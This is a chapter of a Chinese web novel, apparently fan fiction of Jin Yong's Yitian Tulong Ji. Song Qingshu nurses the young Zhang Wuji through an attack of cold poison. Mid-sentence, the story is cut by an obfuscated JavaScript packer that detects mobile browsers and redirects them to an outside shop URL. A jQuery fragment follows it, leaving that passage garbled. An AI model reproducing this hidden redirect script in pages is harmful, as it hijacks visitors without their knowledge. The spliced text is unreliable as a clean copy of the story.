默认冷灰
24号文字
方正启体

10. 此生无忌天地宽

作者:听雪落千里本书字数:K更新时间:
    次日,宋青书抱着一本医书从藏经阁出来时,天色还未大亮。


    石阶上积着昨夜未扫尽的落叶,足尖碾过,发出细碎的沙沙声响。


    初冬的风裹着凉意扑面而来,转过回廊,一阵压抑的呻吟忽然钻入耳中——像受伤的小兽,从喉咙深处挤出的呜咽,断续又隐忍。


    宋青书脚步蓦地一顿。他记得书里写过,某年中秋佳节,张无忌寒毒突发,寒战不止,却怕扫了众人的雅兴,硬是咬牙强忍,最后还是心思细腻的殷梨亭察觉,将他扶回房中歇息。


    宋青书太懂这孩子的心思了,父母早逝,纵然有太师父与诸位师叔的疼爱,终究相处时日尚浅,他骨子里总憋着一股劲,不愿给旁人添麻烦。


    紧了紧身上的衣袍,宋青书循着声音快步走向那扇虚掩的房门。


    推开门的刹那,屋内景象让他瞬间钉在了门槛上。


    十一岁的张无忌蜷缩在床榻深处,身上裹着三层厚棉被,却仍像风中秋叶般扑簌发抖,单薄的脊背随着剧烈的寒战不停起伏。


    被角已被冷汗浸得发沉,透出暗沉的湿痕。


    孩子面朝内墙,只露出一截瘦削的后颈,脖颈上的青筋因隐忍而微微凸起。


    “无忌师弟。”宋青书试探着唤了一声,声音放得极低极轻。


    床榻上的颤抖倏然停了一瞬,随即,张无忌极缓慢地转过身来。


    那是怎样一张苍白的小脸——嘴唇泛着青紫色,下唇被咬破了一块,结着暗红的血痂;额前的发丝湿漉漉地贴在皮肤上,分不清是冷汗还是强忍的泪水。


    一双眼睛睁得大大的,里头盛着惊惶与隐忍,像只受惊的小兽。


    “我是宋青书。”宋青书放轻脚步走进屋,反手轻轻掩上门,将怀里的医书搁在桌上,声音温和,“我的父亲是你大师伯,按辈分,你该唤我一声师兄。”


    张无忌的嘴唇翕动了几下,却没发出半点声音,被子下的身体绷得像拉满的弓弦,指节死死揪着被面,指甲盖都泛出了青白。


    “冷得厉害,是吗?”


    宋青书在床边的圆凳上坐下,抬手便往张无忌的额头覆去。


    温热的触感落在冰凉的额角时,张无忌才怔怔地抬眼,看清了眼前人的模样。


    他的眉不浓不淡,恰到好处;眼睛很亮,不是灼灼的光,而是静水流深般的澄澈,像晴日里被阳光照亮的湖面。


    他的手指很长,骨节分明,掌心带着温润的暖意,熨帖得让人贪恋。


    后来喂药时,宋青书总会把勺子在唇边停一停,等药汁的热气散得温和了,才递到他嘴边;替他揉搓冻僵的小腿时,也必先将手掌在衣襟上捂得温热,再轻轻贴上去。


    可张无忌最先记住的,其实是宋青书的声音。


    那醇厚沉稳的嗓音,说着“该喝药了”,平平稳稳的,竟让苦涩的药汁也淡了几分。寒毒最烈、疼得神志昏沉时,那声音便化作低低的絮语,在疼痛的间隙里浮沉起落


    像渡河的踏脚石,一步一步,引着他熬过最难捱的时刻,走向天光微亮的彼岸。


    一渡过便是好日。


    张无忌极轻微地点了点头。


    宋青书环视屋内,炭盆里的炭火明明烧得正旺,那点热气却像被无形的屏障隔开,根本透不进层层裹身的棉被。


    桌上搁着一碗早已冷透的药,褐色的汤汁表面凝了一层薄翳。


    窗棂缝隙里漏进一线熹微的晨光,恰好落在张无忌暗青色的小脸上,衬得那点血色愈发单薄。


    “你等等。”宋青书起身,从怀里摸出一个扁扁的锡壶,里面盛着清晨去藏经阁时灌的热水,本是预备研墨时暖手用的。


    他倒出些许热水在掌心,双手交叠搓得温热,才小心翼翼地掀开被角。


    指尖触到张无忌小腿的刹那,宋青书险些将手缩回来——哪里是血肉之躯该有的温度,分明是寒冬里从深井捞上来的石头,又冷又硬,冰得人指尖发麻。


    宋青书深吸一口气,将温热的掌心紧紧覆上去,循着医书上记的推拿手法,缓缓揉捏着僵硬的肌肉,试图活络那冻得麻木的血脉。


    他此刻只恨自己掌心的暖意不够滚烫,恨不能将周身的热都渡给这孩子。


    就在这时,他体内沉寂许久的那股气息忽然蠢蠢欲动,像只脱缰的小兽,又像一股未经驯服的力量,自顾自地循着掌心的接触,丝丝缕缕地往张无忌体内渗去。


    “好一点儿了吗?”宋青书低声问,掌心竟隐隐透出几分灼人的热度。


    张无忌没有应声,可紧绷的小腿肌肉,却似有若无地松弛了些许。


    他把脸更深地埋进枕头里,只露出一只湿漉漉的眼睛,一眨不眨地,悄悄凝望着身前这个陌生师兄专注的侧脸。


    晨光渐渐漫过窗纸,将屋里的晦暗一点点驱散。


    宋青书已经换了三遍热水,掌心搓得通红,指尖也麻木了,手上的动作却始终没停。


    他一边揉着,一边用平稳温和的语调絮絮说着话,说后山哪条小径的野菊开得最盛,说紫霄宫晨钟暮鼓的时辰,说三清殿前的石狮子蹲了多少年。


    他也不知道自己为何要说这些,许是觉得这屋子里太过安静,安静得让人心头发紧。


    张无忌睁着圆溜溜的大眼睛,一瞬不瞬地看着他,良久,才带着一丝微颤的鼻音,轻轻唤道:“青书……哥哥……”


    14


    宋青书猛地抬起头——不知何时,张无忌已经转过脸来,那双大眼睛正一眨不眨地望着他,眼底的水雾尽数散开,露出了属于十一岁孩童应有的澄澈透亮。


    “你……你叫我什么?”宋青书有些怔忪,指尖还残留着推拿时的凉意。


    张无忌轻轻喘了口气,小声道:“你说,我该叫你哥哥。”


    宋青书的心像是被什么柔软的东西轻轻撞了一下,温温热热的。


    他这两世人生,从来没有人用这般带着依赖的、怯生生的语气唤他一声哥哥。“嗯。”他听见自己的声音,比方才又软了几分,“那就叫哥哥吧。”


    重新温热好的药汁被端了进来,宋青书先伸手试了试碗壁的温度,才小心地扶起张无忌,一勺一勺地喂他喝。


    药汁极苦,张无忌每咽下一口,眉头就紧紧蹙起,却自始至终没有躲闪。


    喂到第五口时,他忽然偏过头,剧烈地咳嗽起来,褐色的药汁溅在宋青书的袖口,迅速洇开一片


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109829|195845||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    深色的痕迹。


    “对不起。”孩子慌忙挣扎着想伸手去擦。


    “无事。”宋青书按住他乱动的手,从怀里掏出一方干净的手帕,先细细擦净他嘴角的药渍,这才随意地抹了抹自己的袖子,“药苦我知道,但必须得喝。你要是一口气喝完,总好过一口一口慢慢捱。”


    张无忌点点头,乖乖接过药碗,仰头将剩下的药汁一饮而尽。


    他刚喝完,宋青书便变戏法似的从袖中摸出一颗糖来,糖纸早已被他剥好。


    冰糖刚放进嘴里,那点甜意便瞬间漫开。


    张无忌的眼睛倏地亮了起来,染上几分孩童才有的稚气,他小声说道:“青书哥哥,我觉得这次寒毒发作,从你进来的时候,就已经停了。不仅不痛苦,还……还很甜。”


    宋青书不由得笑了。


    那笑意清浅温和,漫过眉眼。


    “以后疼了,寒毒发作了,就叫出来。”宋青书转身从旁边的衣橱里拿出一套干爽的衣物,递给他,“把这身湿衣服换下来,浸在身上容易生病。”


    “爹说,男子汉不能总喊疼。”张无忌摇摇头,小脸上带着几分执拗。


    宋青书心头微动,忽然就懂了。


    这个十一岁的孩子心里,藏着一股近乎执拗的骄傲,他总想着要证明自己不是旁人的负担。


    就像此刻的自己,两个少年,在这间飘着淡淡药香的屋子里,在寒毒与焦灼的拉锯之中,竟生出了一种同病相怜的懂得。


    “可是你若是不叫出来,太师傅、师叔们,还有我,只会更加担心。”宋青书蹲下身,望着他的眼睛,一字一句说得真挚。


    张无忌望着他,迟疑了片刻,小声问:“那……我以后可以叫青书哥哥你吗?”


    “当然可以。”宋青书抬手,轻轻揉了揉他的头发,声音温柔得不像话。


    “无论何时?”


    “无论何时,都可以。”


    张无忌总是不由自主地关注着这位青书哥哥。


    他留意到宋青书的道袍永远是整洁挺括的,可衣襟内侧却常沾着星星点点的墨痕,想来是熬夜研读医书时,不小心溅上的。


    他还发现,宋青书身上总萦绕着三种味道——淡淡的墨香,微苦的药香,还有干净的皂角香。


    三种气息交织缠绕,渐渐酿成了一种让人心安的味道,那是独属于宋青书的、名为“安全”的气息。


    可宋青书的眼睛,却总让张无忌有些困惑。那双眸子太深了,深得像藏着数不清的心事,里面有怜惜,有焦灼,还有着与他年纪不符的、沉甸甸的责任感。


    偶尔望过来时,目光仿佛穿透了时光,透过他的身影,落在了遥远的、不知名的地方。


    有时张无忌会恍惚,觉得青书哥哥看的不是自己,可那份落在身上的暖意,又分明是真切的。


    他曾忍不住问:“青书哥哥,你是不是很累?”


    那时宋青书正握着石杵碾药,闻言动作微微一顿,抬眼看向他,唇边漾开一抹浅淡的笑:“照顾你,我不累。”


    可张无忌却分明看见,那份笑意未及眼底,他仿佛能隐约触到,藏在宋青书温和表象之下,那缕饱经世事的灵魂。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)